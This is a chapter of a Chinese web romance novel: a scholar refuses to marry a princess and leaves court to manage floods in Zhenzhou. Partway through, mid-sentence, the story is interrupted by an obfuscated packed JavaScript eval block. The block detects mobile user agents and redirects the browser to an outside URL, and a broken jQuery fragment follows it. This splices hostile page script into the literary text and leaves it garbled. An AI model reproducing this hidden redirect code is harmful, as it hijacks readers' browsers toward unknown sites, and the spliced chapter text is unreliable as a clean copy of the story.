50. 山高
作品:《腹黑状元郎非我不嫁》 明明他不能言语,堂上也并无动静,但瑶华郡主就是怅然地想,他一定答应了。
振州比邻大周,是两国之间少有的接壤之地。这数年两国关系渐缓,互市热闹,却也风云诡谲。
匪患、官商勾结,八郡形势错综复杂,更不提还时时有水患作梗,是圣人的一块心病。
如今徐知远主动请缨前去振州治水,就像往叔父手里递了一把替他搅弄时事的刀,满朝文武松了口气,直等着这个愣头青……
——怎么会有人这么傻往枪口上撞?
她颓然地有些生气。
相处多日,宁瑶不信聪明人看不出此间玄机,那么就只剩下一种原因。
是为了保全徐家。
拒婚非同小可,稍有不慎是九族倾覆。更何况对方是她?如非神医咬定要重演过往情形,她其实也舍不下心为难他。
前尘种种她已无心去辩,但……
这人为何总这样不爱惜自己?
她其实已做好了万全之策,何苦要他为那群只是空有养育之名、攀附权势的人周全至此?
他连性命都不顾,那群人却未必见得领情。
宁瑶闭闭眼,几乎都能想象到那群人听他拒婚,又自请为七品小吏的神色。或许对他嗤之以鼻,还要依傍着这份恩情继续索求。
前几日影卫才传了消息称徐老爷有意为他二弟做媒,是江南知州的小女儿。
原先商贾世家,知州是必然看不上的。但放榜后徐知远会元的名头传过去,两家又互换了庚帖。
现而今再传……他去振州,回江南,没有好果子吃。
宁瑶看着小黄门往后殿里送来的一水儿溢美之词,只觉心里又气又急,坠坠地发疼。
不论前世是非,今生她见他们待他如此,却依然要对他们这样好——!
那恩重如山就那样重要?不给她留一点挽回的时间和余地,做个郡马爷再走么?
苍生黎民百姓为重,可他有了这个身份更能掣肘那群没眼色的贪官污吏,她能担着他。
而不是像现在这般,心甘情愿地给人做了磨刀石,要轻巧地送了命!
她的戏就这样真得让他笃定,还是他从来就没想过两个人有以后呢?
郡主心尖像有火在燎,她素来见不得自己的人被欺负,光是想一想也不行。换做往日,她一定毫不犹豫地就冲出去替他把这口气出了。
可是如今更不行。
因为今时此地,他们只是刚拒婚的陌生人而已。
攥着那漂亮的书页,瑶华郡主起身欲走的步子又生生顿住。
从半壁纱帘里,她可以似有似无地看见那个人跪于地上的沉静身影。
四周目光如针尖,书生却泰然自若,不动如山,仿佛那蔑视天颜、胆大妄为的人并不是他,而是小猫小狗,张三李四。
徐知远向黄门递上最后一页纸,俯首深深一拜,刚巧错过帘后那道复杂的目光。其中夹杂的恼怒,不甘和心疼,他全部看不见。
纸上字迹疏朗遒劲,心志弥坚:
振州水患是臣心所系,情之所切,恳请圣上准允。
今日这样的情形,徐知远其实很难说他没预想过。
往昔阿瑶和苏夫人欢欢喜喜叙旧时,两个脾性相投的郎君就只好在檐下听雨。
从云公子狡诈,分明自己是闲人一个无所顾忌,倒不顾对面还是个要力争皇榜的郎君。他一面铁口直判说陛下是守成之君,末了又意味深长地让他切记为自己留条后路。
书生自然无言,只是从前以为是提点,但……
阿瑶的确是贵重的天家郡主。
守成之君?他不见得。
被赶出郡主府后,书生总在午夜因喉头发痒咳醒。他看午夜潇潇的冬雨和簌簌作响的茅草顶,忽然想起从前这个话题。
排兵布阵,肃清朝堂……苏从云只是不愿承认苏家必然倾覆的以后,但无论如何皇帝都有宏图伟略,只是无可用之人。
毕竟他工笔文章写得再好,最后力排众议点他做状元郎的,始终是殿试时那一帖直中圣心的水利文章。
身无家世,手无大权。郡主却要他拒婚……
这就是他的退路了。
振州之事棘手,除非用一把利刃挑开表皮上的腐肉,嫩芽才能新生。
太平十五载,还不是时候吗?
徐家上下的命他要保,姑娘的名他也要全。许多年前他也见过水患的流民,但徐家是断然不给他这个冒牌货大发善心的。
如今为此刃,竟然也很好。
帝王沉沉的目光落在他身上,殿中人屏声凝息,不敢有分毫动静,生怕牵连自身,只是看着那状元郎仿佛嘴角都带着点笑,似乎是发自内心地想做泥菩萨。
他一直跪着,殿中鸦雀无声。
宁瑶只能听见自己的心跳。
她心知肚明他跪着,就是叔父给她彰的一份声势。
从此和梦中截然不同,她不再是仗势欺人的蛮横郡主,而是哑巴的状元郎无福,配不上她。
可是他依然跪了很久,跪到她快克制不住地想冲去前殿。
梦是梦,如今是如今。阿瑶和郡主不同,呆子也不是——
“朕允了。”
高堂上帝王一诺,重逾千斤。从此徐家无碍,他的生养之恩已全。郡主厌他至深,无妨。
皇恩浩荡,他恐怕此生再难还京。
徐知远深深地俯首叩拜,极轻微地听到了一点后殿传来的动静,像是谁不小心洒了茶水,惹得满屋子宫人急急上前。
但这和他这七品小吏也并无瓜葛了。
山高水长。
他低下头叩谢圣恩,没看见一人疾步而来,纱帘之下微微颤着的攒枝金步摇,八宝琉璃坠。
无望重逢。
*
宁瑶攥着他写好的书页,那上面赞她美貌、才情、脾性,好像发自肺腑一般。
然而她只咬牙切齿到牙都酸了。
他走了,他竟然真的走了!
对待徐家恩重如山至此,宁可舍弃自己也要周全他们,怎么就没想过他也承着她的皇恩呢?!
她说的那么多句喜欢,他原来是一句都不信!
待月有心想救一救那拧成泔水布的白纸,心想郡主日后舍不得,还得自己抻一抻,便哄道:“郡主若真想,就去找他呗。”
——琼林宴之后,徐知远是第一个前三甲中被授予了官职之人。小小的一个七品芝麻官,被分在工部都水监,不日启程前往振州。
这个不日……待月模糊地想了想,那个人悄悄给他传的口信大约是七日后的四月廿七?水利事务刻不容缓,工部此行,连个端阳节都过不成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15596940|164459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“我不去!”宁瑶攥着帕子忿忿,想起从前两个人在榻上浓情蜜意的时候,他还说要和她一道挂菖蒲,编五色绳,郡主说自己手笨,央他展示一下他十指有多灵巧,书生脸腾地一下就红了。
如今倒好,他一次都没有主动来找过她!
带句话也好,书信寄情也罢,什么都没有。好像他真的对自己失望透顶,决定无声无息地退出这段感情。
宁瑶眼前一酸。
怎么去啊?她闷闷地想。叔父才刚看她被拒婚伤心,又因这把刀实在太顺手,赏了她好大一笔金银珠宝。她自然更不能叫人看出来,她的强取豪夺和拒婚一手流程,由自己亲自操办。
况且她才在他面前演了一出栩栩如生的戏,现在去找他也未免太刻意了些。
想着想着,她竟然不自觉地絮叨出了声。然而郁闷不多时,忽听一道震如雷霆的声音大笑传来,“瑶儿要找谁去啊?”
这下宁瑶和待月面面相觑,面色俱是一变。
前世因果,报应不爽。虽则在徐知远做状元和他拒婚一事上没什么大的变动,但在细枝末节上终归还是有些许影响。譬如徐知远陈情所述的振州水患,在梦中就没有那样猛烈,而今生却因青河泛滥,镇南王府的众人才没能在殿试前抵京。
“这么大声做什么,当心吓着瑶儿。”爽朗洪亮的声音后,又跟了一道温柔却强势的声音。他们进郡主府时见府中下人安静非常,都以为瑶儿躲懒,还在睡觉,便随着他们放轻了步子。
谁成想还没进屋里,就听到两个小娘子絮絮叨叨。
镇南王和王妃都是武林高手,耳力自然超群。
两人说的话一字不漏。
宁瑶白着脸开了门,她的父王母妃已经笑眯眯地站在门外。母妃一把把她搂住,父王则一脸慈爱:“瑶儿,没闯祸吧?”
可能,没有吧。
七日后。
“公子,公子?”尘风喊他,“咱们是不是该动身了?”
工部的队伍卯时三刻就要在玄武门动身,圣上并不亲送。两人是早早收好行囊了,却不防徐家人絮叨半天,让他捎封信回家。
孝之一字压死人,员外郎想起这状元郎骑射功夫不错,给他留了一匹马,嘱咐他早点走。
能如何呢?毕竟是圣上钦点来的大佛。原先同他们这帮人也成不了同僚。
他也挺好奇,能让圣上手下留情饶人一命的才华,得多水满则溢?
毕竟治水不同往昔,没几分本事也坚持不下来。往后来日方长,也不差这一时半刻。
于是两人就多等了一刻钟。
徐姝眼泪汪汪地和林小妹一起抱着哭,说好兄长走后自己教她写字。说话间忐忑不安,显然还很怕徐知远怪她。
表哥顿了顿,最后摸摸她的头,郑重地交给她一块玉佩。
他看起来很严肃:如果有人找你要这个玉佩……
徐姝眼泪都止住了,认真地望着兄长,然而对方似乎只是想一出是一出,尘风接话道:“表姑娘给不给都随意。”
只是这样?徐姝有些发懵。
但是抬头去看,表哥半壁如画的侧脸映在朝升的太阳里,看不清他眸中的神色,而是微笑着点了点头。
太阳已经起来了,轻轻拂过了柳梢。
马蹄在风声里,越走越远了。